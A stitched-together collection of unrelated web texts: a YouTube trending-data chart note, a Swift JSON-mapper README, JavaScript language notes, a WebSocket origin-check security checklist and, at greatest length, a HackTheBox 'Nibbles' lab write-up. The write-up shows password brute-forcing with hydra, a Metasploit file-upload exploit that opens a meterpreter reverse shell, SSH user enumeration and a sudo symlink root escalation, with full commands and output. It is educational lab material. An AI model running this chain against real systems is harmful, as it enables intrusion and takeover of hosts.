This graph shows the variation in time it takes for a video to reach the trending page after it's published.
The graph provides us with the median, min, and max values of how long it took a video to trend and is grouped by the category it was tagged under.
Most of the data is concentrated between the 0 to 5 day range, while there are some outliers above 10 days for most categories. Interestingly enough, the data also included values with negative values. This is because the published date includes the full date and time, whereas the trending date only includes the month and day. For videos to have a negative value of days it took to reach the trending page, it means that the video was wildly popular enough to be trending on the same date it was uploaded. When plotting the graph, I felt that it was best to replace the negative time values with a 0 in order to keep consistency because negative time values are not technically correct.
Based on the information provided by the graph, the Music category seems to have an overwhelming amount of outliers that began trending far after the video was published. This is most likely due to the fact that new music takes time to circulate around before it becomes popular on mainstream media.


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RONetworking
Is a very light-weight and straighforward JSON to object mapper. You can define your class structure and directly define in there your accessed properties in the JSON file. The whole parsing of the JSON file is done by the library SwiftyJSON https://github.com/SwiftyJSON/SwiftyJSON.
Installation
RONetworking is available through CocoaPods. To install it, simply add the following line to your Podfile:
pod "RONetworking"
How to use
Example Employees.json
{
[{
"firstName": "John",
"lastName": "Doe",
"age": 26
},
{
"firstName": "Anna",
"lastName": "Smith",
"age": 30
},
{
"firstName": "Peter",
"lastName": "Jones",
"age": 45
}]
}
As next step you have to create your data model (EmplyoeeContainer and Employee).
Employee.swift “``swift class Employee : ROJSONObject {
required init() {
super.init();
}
required init(jsonData:AnyObject) {
super.init(jsonData: jsonData)
}
required init(jsonString: String) {
super.init(jsonString:jsonString)
}
var firstname:String {
return Value<String>.get(self, key: "firstName")
}
var lastname:String {
return Value<String>.get(self, key: "lastName")
}
var age:Int {
return Value<Int>.get(self, key: "age")
}
} ”`
EmployeeContainer.swift “`swift class EmployeeContainer : ROJSONObject { required init() { super.init(); }
required init(jsonData:AnyObject) {
super.init(jsonData: jsonData)
}
required init(jsonString: String) {
super.init(jsonString:jsonString)
}
lazy var employees:[Employee] = {
return Value<[Employee]>.getArray(self) as [Employee]
}()
} ”`
Then to actually map the objects from the JSON response you only have to pass the data into the EmployeeContainer class as param in the constructor. It does automatically create your data model.
var baseWebservice:BaseWebservice = BaseWebservice();
var urlToJSON = "http://prine.ch/employeesWithout.json"
baseWebservice.get(urlToJSON, callback: { (status, employeeContainer:EmployeeContainer) -> () in
println(employeeContainer.employees[0].firstname)
println(employeeContainer.employees[0].lastname)
println("Firstname: " + employeeContainer.employees[0].firstname)
println("Lastname: " + employeeContainer.employees[0].firstname)
println("Age: \(employeeContainer.employees[0].age)")
})
The console output looks then like the following:
John
Doe
Firstname: John
Lastname: John
Age: 26
License
The MIT License (MIT)
Copyright (c) 2015 Robin Oster (http://prine.ch)
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
the Software, and to permit persons to whom the Software is furnished to do so,
subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
 IN NO EVENT SHALL THE AUTHORS OR
COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
Author
Robin Oster, robin.oster@rascor.com


home / programming / js
Modern JavaScript for the Impatient, © 2020
Preface
A Tour of the Book
- Chapter 1 Values, types, variables, object literals
- Chapter 2 Control flow and control structures
- Chapter 3 Functions and functional programming
- Chapter 4 Object-oriented programming
- Chapter 5 Classes for numbers and dates
- Chapter 6 Strings and regexes
- Chapter 7 Arrays and other collections
- Chapter 8 Internationalization
- Chapter 9 Asynchronous programming
- Chapter 10 Modules
- Chapter 11 Metaprogramming
- Chapter 12 Iterators and generators
- Chapter 13 TypeScript
Five Golden Rules
-
Declare variables with
let
orconst
, notvar
. - Use strict mode.
- Know your types and avoid automatic type conversion.
- Understand prototypes, but use modern syntax for classes, constructors, and methods.
-
Don't use
this
outside constructors or methods.
1 Values and Variables
Every value in JS is one of:
- number
- Boolean (
true
orfalse
) null
undefined
- string
- symbol
- object
Non-object types are called primitive types.
Use typeof x
to find out the type of x
Warning: typeof null
is 'object'
.This is a historical accident.
Although there are wrappers such as new Number(12)
, there's no good reason to use them.
If a variable is not initialized, it has the value undefined
. For example, let x
declares x
and sets it to undefined
.
If you never change the value of a variable, it should be declared with const
.
1.5 Identifiers
The name of a variable is called an identifier. Avoid starting them with $
or _
, which are often used by third-party tools and libraries.
The following keywords are reserved:
as async await break case catch class const continue debugger default delete do else enum export extends false finally for from function get if implements import in instanceof interface let new null of package protected private public return set static super switch target this throw true try typeof var void while with yield
1.6 Numbers
All numbers are double-precision floating-point numbers. However, integers between Number.MIN_SAFE_INTEGER
and Number.MAX_SAFE_INTEGER
are represented accurately (without roundoff errors).
Equality between floating-point values is not guaranteed. 0.1 + 0.2
is not guaranteed to be equal to 0.3
.
To convert a string to a number, use parseInt
and parseFloat
.
The toString()
method converts a number to a string.
Math.trunc(x)
discards the fractional part and Math.round(x)
rounds to the nearest integer.
Division by zero results in Infinity
except for 0 / 0
, which is NaN
(not a number).
1.8 Boolean Values
In a condition, values will be converted to a Boolean value. The following are converted to false
:
- 0
- NaN
- null
- undefined
- "" (empty string)
Everything else is converted to true
.
1.9 null and undefined
The null
value is intended to denote the intentional absence of a value.
When a variable is declared but not initialized, its value is undefined
. Also, if a parameter is not passed to a function, its value is also undefined
.
1.10 String Literals
Either single or double quotes may be used to delimit a string. To include that quote type in the string, escape it with a backslash. A backslash also needs to be escaped as \\
A Unicode character may be included in a string with the notation \u{code point}
. For example: \u{0022}
or \u{1F310}
1.11 Template Literals
Template literals are strings that can contain expressions and span multiple lines. They are delimited by backticks:
const destination = 'world' const greeting = `Hello, ${destination.toUpperCase()}!`
Expressions inside ${ ... }
are evaluated and converted to a string if necessary. They may be nested.
Newlines in the template literal are included in the resulting string.
A tagged template literal is a template literal that is preceded by a function, such as html`<div>Hello, ${destination}</div>`
will result in the html
function being invoked.
1.12 Objects
A JS object is simply a set of name/value pairs or properties. For example:
const harry = { name: 'Harry Smith', age: 42 }
Object properties are accessed with dot notation:
let harrysAge = harry.age harry.salary = 90000
Note that although harry
was declared as const
, it is possible to mutate the object it refers to. What you cannot do is assign a different value to the harry
variable.
To remove a property, use the delete
operator:
delete harry.salary
Accessing a nonexistent property yields undefined
To access a property via a computed value, use square brackets:
let field = 'Age' let harrysAge = harry[field.toLowerCase()]
1.13 Object Literal Syntax
Object literals may have a trailing comma. It makes it easy to add new properties later on.
When a property value is stored in a variable whose name is the same as the property's, it can be shortened:
{ name: "Harry", age } // is the same as: { name: "Harry", age: age }
Computed property names go inside square brackets:
let field = 'Age' { name: "Harry", [field.toLowerCase()]: 42 }
Strings that don't follow the rules of valid identifier names can be used as property names if they are quoted:
{ name: "Harry", 'favorite beer': "IPA" }
1.14 Arrays
Behind the scenes, an array is an object whose property names are '0', '1', '2', etc. (Strings are used because numbers can't be property names).
Defining an array literal such as [1, 2, 3, 'many']
implicitly creates a length
property.
typeof anArray
returns 'object'
. To test whether an object is an array, call Array.isArray(obj)
1.15 JSON
JSON is more restrictive than acceptable JS syntax for objects:
- Allowed values are:
- object literals
- array literals
- strings
- floating-point numbers
true
false
null
- Strings must be delimited by double quotes
- Property names must be delimited by double quotes
- Neither trailing commas nor skipped elements are allowed
JSON.stringify
turns a JS object into a JSON string, and JSON.parse
parses a JSON string, yielding a JS object. They are commonly used when communicating with a server via HTTP.
Warning: JSON.stringify
drops object properties whose value is undefined
and turns array elements with undefined
values to null
.
JSON.stringify
may be used for logging, because without it, objects are printed as object Object
. Note that logging an object by itself will be displayed correctly.
Alternatively, write: console.log('harry=', harry, 'sally=', sally)
or console.log({harry, sally})
1.16 Destructuring
Destructuring is a convenient syntax for fetching the elements of an array or values of an object by matching patterns.
Suppose const pair = [12, 48]
let [first, second] = pair // is the same as let first = pair[0] let second = pair[1]
It is possible to swap the values of variables with [x, y] = [y, x]
For objects, use property names instead of array positions:
let harry = { name: 'Harry', age: 42} let { name: harrysName, age: harrysAge } = harry
The code above declares harrysName
and harrysAge
and initializes them with the values of name
and age
in harry
. The left-hand side is not an object literal. It is a pattern to show how the variables are matched with the right-hand side.
When the desired property has the same name as the variable, you can omit the name and colon:
let { name, age } = harry // is the same as let { name: name, age: age } = harry // or let name = harry.name let age = harry.age
Warning: if object destructuring is used to set existing variables, the assignment expression must be enclosed in parentheses. Otherwise, the opening brace will be parsed as the start of a block statement:
({ name, age } = sally)
1.17 Advanced Destructuring
In object destructuring, it is possible to use nested patterns and computed names:
let { birthday: { year: patsBirthYear } } = pat let { [field.toLowerCase()]: harrysAge } = harry
1.17.2 Rest Declarations
When destructuring an array, you can capture any remaining elements into an array (called a rest element) by adding a ...
prefix to the variable name:
numbers = [1, 7, 2, 9] let [first, second, ...others] = numbers // others becomes [2, 9]
If there are no elements to capture, the variable becomes an empty array.
For objects, the capturing object will contain all properties that were not explicitly defined.
let { name, ...allButName } = harry
1.17.3 Defaults
For each variable, a default may be provided if the desired value is not present in the right-hand object or array:
let [first, second = 0] = [42] let { nickname = 'None' } = harry // previously set values may be used let { name, nickname = name } = harry
Default values are useful in configurations, where only a few of the available properties will be changed:
let config = { separator: '; ' } const { separator = ',', leftDelimiter = '[', rightDelimiter = ']' } = config
A circular structure (for example, two people who are mutually friends) cannot be converted with JSON.stringify
2 Control Structures
3 Functions and Functional Programming
4 Object-Oriented Programming
5 Numbers and Dates
6 Strings and Regular Expressions
7 Arrays and Collections
8 Internationalization
9 Asynchronous Programming
10 Modules
11 Metaprogramming
12 Iterators and Generators
13 TypeScript
END OF FILE


Radio buttons and checkboxes
These selectors enable users to make choices
On this page:
Radio buttons
Code
View code snippet

{{serviceName}}

Research
Research findings here. We'll keep the content as concise as possible while still conveying useful context.
Accessibility
Radio buttons with large hit areas are easier to select with a mouse or touch devices.
Ensure keyboard-only users can navigate and cycle through radio options.
Recommendations
For more than two options, radio buttons should be stacked.


Applies To
What to Check For
Verify that the origin header in WebSocket handshakes is checked.
Why
By checking the origin, you can restrict access to the WebSocket server, allowing requests only from the same origin or specified domains. This prevents potentially malicious connections.
How To Check
To verify that the origin header in WebSocket handshakes is checked:
- Examine the server configuration file. Examine the server configuration file to make sure that the Origin header is checked. The exact details of configuring WebSocket servers to check Origin headers are different for different implementations.
- Review code that validates headers. It might be the case that the WebSocket implementation that is used by the application does not have an option to check Origin headers automatically. In that case, custom code will be necessary to perform that functionality. Implementation details are platform-specific, so there are no clear keywords to search for to find this functionality. The Origin header should be validated before the WebSocket tunnel is established, so this code should be located or called at the beginning of the code that establishes the WebSocket connection, and this information should help find this code. If such code does not exist, it should be added.
How To Fix
To check for origin:
- Configure the WebSocket server to check the Sec-WebSocket-Origin header value (for older WebSocket clients) or Origin header value (for newer clients). Add code to the configuration file in accordance with your server language. For example, for PHP-WebSocket, which is an open source PHP implementation of a WebSocket server library, use the following method call to set origin checking: $server->setCheckOrigin(true);. This reads the value of Sec-WebSocket-Origin or origin.
- Specify the allowed origins from which the server will accept connections. For example, to accept connections only from an HTML5 application residing on the same server, configure it to accept connections from the “same origin” only. If the WebSocket server and the application both reside on web.example.com, configure the WebSocket server to accept only from Origin= web.example.com.
- Iterate through the request headers to find the Origin or Sec-WebSocket-Origin header. If the value is null or does not match the set of allowed origins, close the connection stream with a 401 response.
$example_origins = array('example.com',’web.example.com’);
foreach ($example_origins as $origin) {
$server->setAllowedOrigin($origin);
$origin_ips[] = gethostbyname($origin);
}
if (!in_array($_SERVER["REMOTE_ADDR"], $origin_ips)) {
// send 401 response
}
else {
// begin tunnel
}
WebSocket Guidelines
WebSocket Checklist Items


HackTheBox - Nibbles
Reconnaissance
Run our usual scan against TCP ports to find services:
# nmap -sC -sV -oA nmap_tcp -p- $TARGET
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-26 22:43 CET
Nmap scan report for <IP_ADDRESS>
Host is up (0.039s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.27 seconds
A scan on UDP didn’t reveal any additional services:
nmap -sU -p- -oA nmap_udp $TARGET
Enumeration
| Port | Service | Version | Vuln? |
|---|---|---|---|
| 22/tcp | ssh | OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | no |
| 80/tcp | http | Apache/2.4.18 (Ubuntu) | no |
| http | Nibbleblog v.4.0.3 | yes, nibbleblog_file_uploadneeds an auth account: admin:nibbles |
OS: Ubuntu
Initial Foothold
Let’s have a look at that webserver first!
Visiting the URL: http://<IP_ADDRESS>, there’s not much going on there…
BUT. Wait a minute! There’s a comment in the source code!
<b>Hello world!</b>
<!-- /nibbleblog/ directory. Nothing interesting here! -->
Visiting http://<IP_ADDRESS>/nibbleblog is our next move! Charming, albeit a bit empty blog :/
Let’s fire a gobuster scan to find hidden directories:
-u
is the target URL-w
the wordlist to use-o
the name of the output file
$ gobuster dir -u http://<IP_ADDRESS>/nibbleblog -w /usr/share/dirb/wordlists/big.txt -o gobuster_big
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://<IP_ADDRESS>/nibbleblog
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2020/10/26 23:13:25 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/README (Status: 200)
/admin (Status: 301)
/content (Status: 301)
/languages (Status: 301)
/plugins (Status: 301)
/themes (Status: 301)
===============================================================
2020/10/26 23:14:53 Finished
===============================================================
The README page contains some informations: the blog engine is nibbleblog v.4.0.3
This version of nibbleblog is affected by a vulnerability which could be very interesting: https://packetstormsecurity.com/files/133425/NibbleBlog-4.0.3-Shell-Upload.html
- Vulnerability Description
When uploading image files via the “My image” plugin - which is delivered with NibbleBlog by default - , NibbleBlog 4.0.3 keeps the original extension of uploaded files. This extension or the actual file type are not checked, thus it is possible to upload PHP files and gain code execution.
Please note that admin credentials are required.
There’s just one tiny-tiny problem: the admin credentials.
See, the metasploit module requires a username and a password
msf5 > use exploit/multi/http/nibbleblog_file_upload
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf5 exploit(multi/http/nibbleblog_file_upload) > show options
Module options (exploit/multi/http/nibbleblog_file_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the web application
USERNAME yes The username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST <IP_ADDRESS> yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Nibbleblog 4.0.3
Dead end here, we don’t have an account yet, let’s go explore other URLS!
From the github sources on https://github.com/dignajar/nibbleblog, let’s try a couple of default pages. Like maybe the installation page http://<IP_ADDRESS>/nibbleblog/install.php has something?
Nope. Then http://<IP_ADDRESS>/nibbleblog/update.php maybe?
Nope nope nope. What about the login page? http://<IP_ADDRESS>/nibbleblog/admin.php
AHAH. We found the login page!
Let’s continue exploring and check out some URLS from the gobuster scan results
For example… http://<IP_ADDRESS>/nibbleblog/admin is pretty interesting
http://<IP_ADDRESS>/nibbleblog/content/private/users.xml
Yay, found a username here: admin
Sadly, neither shadow.php nor keys.php are available :(( But hey, I found a… thing
So… we have the login page, a potential username. All we are missing is the password >.<
Let’s ask the evil search engine if he knows about default credentials for nibbleblog…
Lol.  Huh.  Comes back, try the creds: admin
:123456
and… THEY ARE WRONG.
Sooooo, fake spoiler. What an emotional rollercoster. The hunt for the password is still on!
on! So… Bruteforce maybe?
Hydra can help bruteforcing the login page, we just need to gather a few information first. Using Firefox developer tools, in the network tab, right clic on a request and select Edit and Resend
to retrieve the request body: username=admin&password=admin
Options for bruteforcing a HTML post form with hydra:
-l admin
to specify a single username (-L
for a list of usernames)-P /usr/share/dict/rockyou.txt
to specify a list of passwords (-p
for a single password)- IP address
- http-post-form
<login page>:<request body>:<error message>
$ hydra -l admin -P /usr/share/dict/rockyou.txt <IP_ADDRESS> http-post-form "/nibbleblog/admin.php:username=^USER^&password=^PASS^:F=Incorrect username or password."
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
 Checking out the admin.php page after hydra confirms that bruteforce with hydra is not going to be an option…
Okay, I’m out of ideas, let’s peak at a write-up on how to unlock the rest…
Well damn. You’re supposed to guess that the password is nibbles
. I could have searched for hours I think… I tried simple passwords like admin:admin
and nibbles:nibbles
but I never mixed them :( Anyway, we now have access to the nibbleblog dashboard!
We can fire our metasploit module previously found now!
msf5 > use exploit/multi/http/nibbleblog_file_upload
msf5 exploit(multi/http/nibbleblog_file_upload) > set PASSWORD nibbles
PASSWORD => nibbles
msf5 exploit(multi/http/nibbleblog_file_upload) > set USERNAME admin
USERNAME => admin
msf5 exploit(multi/http/nibbleblog_file_upload) > set LHOST tun0
LHOST => tun0
msf5 exploit(multi/http/nibbleblog_file_upload) > set RHOSTS <IP_ADDRESS>
RHOSTS => <IP_ADDRESS>
msf5 exploit(multi/http/nibbleblog_file_upload) > set TARGETURI /nibbleblog
TARGETURI => /nibbleblog
msf5 exploit(multi/http/nibbleblog_file_upload) > run
[*] Started reverse TCP handler on <IP_ADDRESS>:4444
[*] Sending stage (38288 bytes) to <IP_ADDRESS>
[*] Meterpreter session 1 opened (<IP_ADDRESS>:4444 -> <IP_ADDRESS>:52970) at 2020-10-27 19:18:56 +0100
[+] Deleted image.php
meterpreter >
Okay, we’ve got a sheeeeell! Non-privileged, but it’s a starting point :D
meterpreter > getuid
Server username: nibbler (1001)
meterpreter > sysinfo
Computer : Nibbles
OS : Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64
Meterpreter : php/linux
And since we’re here, why not have a look at personal.zip
meterpreter > download personal.zip
[*] Downloading: personal.zip -> personal.zip
[*] Downloaded 1.81 KiB of 1.81 KiB (100.0%): personal.zip -> personal.zip
[*] download : personal.zip -> personal.zip
Privilege Escalation
So personal.zip
contains a monitor.sh
file (which is a copy of Tecmint_monitor.sh)…
$ unzip -l personal.zip
Archive: personal.zip
Length Date Time Name
--------- ---------- ----- ----
0 2017-12-11 03:58 personal/
0 2017-12-11 04:05 personal/stuff/
4015 2015-05-08 09:17 personal/stuff/monitor.sh
--------- -------
4015 3 files
Doing some reconnaissance, it’s a good idea to check sudo
as it can be an effective privesc.
nibbler@Nibbles:/home/nibbler$ sudo -V
sudo -V
sudo: Sudo version 1.8.16
Sudoers policy plugin version 1.8.16
Sudoers file grammar version 45
Sudoers I/O plugin version 1.8.16
unable to resolve host Nibbles: Connection timed out
nibbler@Nibbles:/home/nibbler$ sudo -l
sudo -l
sudo: unable to resolve host Nibbles: Connection timed out
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
Note: DNS resolution times out here, which makes sudo… extremely slow… Be patient when waiting for the output :D
Very interesting! That means we are allowed to run /home/nibbler/personal/stuff/monitor.sh
as root without sudo asking for a password. That file doesn’t exists in /home/nibbler
What if I put a symlink to a shell instead of that monitor.sh script?
nibbler@Nibbles:~$ cd /home/nibbler
nibbler@Nibbles:~$ mkdir -p personal/stuff
nibbler@Nibbles:~$ cd personal/stuff
nibbler@Nibbles:/home/nibbler/personal/stuff$ ln -s /bin/bash monitor.sh
Now, run our only allowed sudo command [note: the syntax must be exactly the same than in the output of sudo -l
, ie using a relative path like sudo monitor.sh
will not work].
nibbler@Nibbles:/home/nibbler$ sudo /home/nibbler/personal/stuff/monitor.sh
sudo: unable to resolve host Nibbles: Connection timed out
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls
root.txt
Booooom. Root shell.
Deadends
SSH
enumusers
Using the ssh_enumusers
from Metasploit to lists potential weak SSH users => there’s only accounts usually present on a Linux like root
, mail
, …
msf5 > use auxiliary/scanner/ssh/ssh_enumusers
msf5 auxiliary(scanner/ssh/ssh_enumusers) > show options
Module options (auxiliary/scanner/ssh/ssh_enumusers):
Name Current Setting Required Description
---- --------------- -------- -----------
CHECK_FALSE false no Check for false positives (random username)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 22 yes The target port
THREADS 1 yes The number of concurrent threads (max one per host)
THRESHOLD 10 yes Amount of seconds needed before a user is considered found (timing attack only)
USERNAME no Single username to test (username spray)
USER_FILE no File containing usernames, one per line
Auxiliary action:
Name Description
---- -----------
Malformed Packet Use a malformed packet
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set RHOSTS <IP_ADDRESS>
RHOSTS => <IP_ADDRESS>
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /opt/metasploit/data/wordlists/unix_users.txt
USER_FILE => /opt/metasploit/data/wordlists/unix_users.txt
msf5 auxiliary(scanner/ssh/ssh_enumusers) > run
[*] <IP_ADDRESS>:22 - SSH - Using malformed packet technique
[*] <IP_ADDRESS>:22 - SSH - Starting scan
[-] <IP_ADDRESS>:22 - SSH - User '4Dgifts' not found
[-] <IP_ADDRESS>:22 - SSH - User 'abrt' not found
[-] <IP_ADDRESS>:22 - SSH - User 'adm' not found
[-] <IP_ADDRESS>:22 - SSH - User 'admin' not found
[-] <IP_ADDRESS>:22 - SSH - User 'administrator' not found
[-] <IP_ADDRESS>:22 - SSH - User 'anon' not found
[+] <IP_ADDRESS>:22 - SSH - User '_apt' found
[-] <IP_ADDRESS>:22 - SSH - User 'arpwatch' not found
[-] <IP_ADDRESS>:22 - SSH - User 'auditor' not found
[-] <IP_ADDRESS>:22 - SSH - User 'avahi' not found
[-] <IP_ADDRESS>:22 - SSH - User 'avahi-autoipd' not found
[+] <IP_ADDRESS>:22 - SSH - User 'backup' found
[-] <IP_ADDRESS>:22 - SSH - User 'bbs' not found
[-] <IP_ADDRESS>:22 - SSH - User 'beef-xss' not found
[+] <IP_ADDRESS>:22 - SSH - User 'bin' found
[-] <IP_ADDRESS>:22 - SSH - User 'bitnami' not found
[-] <IP_ADDRESS>:22 - SSH - User 'checkfs' not found
[-] <IP_ADDRESS>:22 - SSH - User 'checkfsys' not found
[-] <IP_ADDRESS>:22 - SSH - User 'checksys' not found
[-] <IP_ADDRESS>:22 - SSH - User 'chronos' not found
[-] <IP_ADDRESS>:22 - SSH - User 'chrony' not found
[-] <IP_ADDRESS>:22 - SSH - User 'cmwlogin' not found
[-] <IP_ADDRESS>:22 - SSH - User 'cockpit-ws' not found
[-] <IP_ADDRESS>:22 - SSH - User 'colord' not found
[-] <IP_ADDRESS>:22 - SSH - User 'couchdb' not found
[-] <IP_ADDRESS>:22 - SSH - User 'cups-pk-helper' not found
[+] <IP_ADDRESS>:22 - SSH - User 'daemon' found
[-] <IP_ADDRESS>:22 - SSH - User 'dbadmin' not found
[-] <IP_ADDRESS>:22 - SSH - User 'dbus' not found
[-] <IP_ADDRESS>:22 - SSH - User 'Debian-exim' not found
[-] <IP_ADDRESS>:22 - SSH - User 'Debian-snmp' not found
[-] <IP_ADDRESS>:22 - SSH - User 'demo' not found
[-] <IP_ADDRESS>:22 - SSH - User 'demos' not found
[-] <IP_ADDRESS>:22 - SSH - User 'diag' not found
[-] <IP_ADDRESS>:22 - SSH - User 'distccd' not found
[-] <IP_ADDRESS>:22 - SSH - User 'dni' not found
[+] <IP_ADDRESS>:22 - SSH - User 'dnsmasq' found
[-] <IP_ADDRESS>:22 - SSH - User 'dradis' not found
[-] <IP_ADDRESS>:22 - SSH - User 'EZsetup' not found
[-] <IP_ADDRESS>:22 - SSH - User 'fal' not found
[-] <IP_ADDRESS>:22 - SSH - User 'fax' not found
[-] <IP_ADDRESS>:22 - SSH - User 'ftp' not found
[+] <IP_ADDRESS>:22 - SSH - User 'games' found
[-] <IP_ADDRESS>:22 - SSH - User 'gdm' not found
[-] <IP_ADDRESS>:22 - SSH - User 'geoclue' not found
[+] <IP_ADDRESS>:22 - SSH - User 'gnats' found
[-] <IP_ADDRESS>:22 - SSH - User 'gnome-initial-setup' not found
[-] <IP_ADDRESS>:22 - SSH - User 'gopher' not found
[-] <IP_ADDRESS>:22 - SSH - User 'gropher' not found
[-] <IP_ADDRESS>:22 - SSH - User 'guest' not found
[-] <IP_ADDRESS>:22 - SSH - User 'haldaemon' not found
[-] <IP_ADDRESS>:22 - SSH - User 'halt' not found
[-] <IP_ADDRESS>:22 - SSH - User 'hplip' not found
[-] <IP_ADDRESS>:22 - SSH - User 'inetsim' not found
[-] <IP_ADDRESS>:22 - SSH - User 'informix' not found
[-] <IP_ADDRESS>:22 - SSH - User 'install' not found
[-] <IP_ADDRESS>:22 - SSH - User 'iodine' not found
[+] <IP_ADDRESS>:22 - SSH - User 'irc' found
[-] <IP_ADDRESS>:22 - SSH - User 'jet' not found
[-] <IP_ADDRESS>:22 - SSH - User 'karaf' not found
[-] <IP_ADDRESS>:22 - SSH - User 'kernoops' not found
[-] <IP_ADDRESS>:22 - SSH - User 'king-phisher' not found
[-] <IP_ADDRESS>:22 - SSH - User 'landscape' not found
[-] <IP_ADDRESS>:22 - SSH - User 'libstoragemgmt' not found
[-] <IP_ADDRESS>:22 - SSH - User 'libuuid' not found
[-] <IP_ADDRESS>:22 - SSH - User 'lightdm' not found
[+] <IP_ADDRESS>:22 - SSH - User 'list' found
[-] <IP_ADDRESS>:22 - SSH - User 'listen' not found
[+] <IP_ADDRESS>:22 - SSH - User 'lp' found
[-] <IP_ADDRESS>:22 - SSH - User 'lpadm' not found
[-] <IP_ADDRESS>:22 - SSH - User 'lpadmin' not found
[+] <IP_ADDRESS>:22 - SSH - User 'lxd' found
[-] <IP_ADDRESS>:22 - SSH - User 'lynx' not found
[+] <IP_ADDRESS>:22 - SSH - User 'mail' found
[+] <IP_ADDRESS>:22 - SSH - User 'man' found
[-] <IP_ADDRESS>:22 - SSH - User 'me' not found
[+] <IP_ADDRESS>:22 - SSH - User 'messagebus' found
[-] <IP_ADDRESS>:22 - SSH - User 'miredo' not found
[-] <IP_ADDRESS>:22 - SSH - User 'mountfs' not found
[-] <IP_ADDRESS>:22 - SSH - User 'mountfsys' not found
[-] <IP_ADDRESS>:22 - SSH - User 'mountsys' not found
[+] <IP_ADDRESS>:22 - SSH - User 'mysql' found
[+] <IP_ADDRESS>:22 - SSH - User 'news' found
[-] <IP_ADDRESS>:22 - SSH - User 'noaccess' not found
[+] <IP_ADDRESS>:22 - SSH - User 'nobody' found
[-] <IP_ADDRESS>:22 - SSH - User 'nobody4' not found
[-] <IP_ADDRESS>:22 - SSH - User 'ntp' not found
[-] <IP_ADDRESS>:22 - SSH - User 'nuucp' not found
[-] <IP_ADDRESS>:22 - SSH - User 'nxautomation' not found
[-] <IP_ADDRESS>:22 - SSH - User 'nxpgsql' not found
[-] <IP_ADDRESS>:22 - SSH - User 'omi' not found
[-] <IP_ADDRESS>:22 - SSH - User 'omsagent' not found
[-] <IP_ADDRESS>:22 - SSH - User 'operator' not found
[-] <IP_ADDRESS>:22 - SSH - User 'oracle' not found
[-] <IP_ADDRESS>:22 - SSH - User 'OutOfBox' not found
[-] <IP_ADDRESS>:22 - SSH - User 'pi' not found
[-] <IP_ADDRESS>:22 - SSH - User 'polkitd' not found
[-] <IP_ADDRESS>:22 - SSH - User 'pollinate' not found
[-] <IP_ADDRESS>:22 - SSH - User 'popr' not found
[-] <IP_ADDRESS>:22 - SSH - User 'postfix' not found
[-] <IP_ADDRESS>:22 - SSH - User 'postgres' not found
[-] <IP_ADDRESS>:22 - SSH - User 'postmaster' not found
[-] <IP_ADDRESS>:22 - SSH - User 'printer' not found
[+] <IP_ADDRESS>:22 - SSH - User 'proxy' found
[-] <IP_ADDRESS>:22 - SSH - User 'pulse' not found
[-] <IP_ADDRESS>:22 - SSH - User 'redsocks' not found
[-] <IP_ADDRESS>:22 - SSH - User 'rfindd' not found
[-] <IP_ADDRESS>:22 - SSH - User 'rje' not found
[+] <IP_ADDRESS>:22 - SSH - User 'root' found
[-] <IP_ADDRESS>:22 - SSH - User 'ROOT' not found
[-] <IP_ADDRESS>:22 - SSH - User 'rooty' not found
[-] <IP_ADDRESS>:22 - SSH - User 'rpc' not found
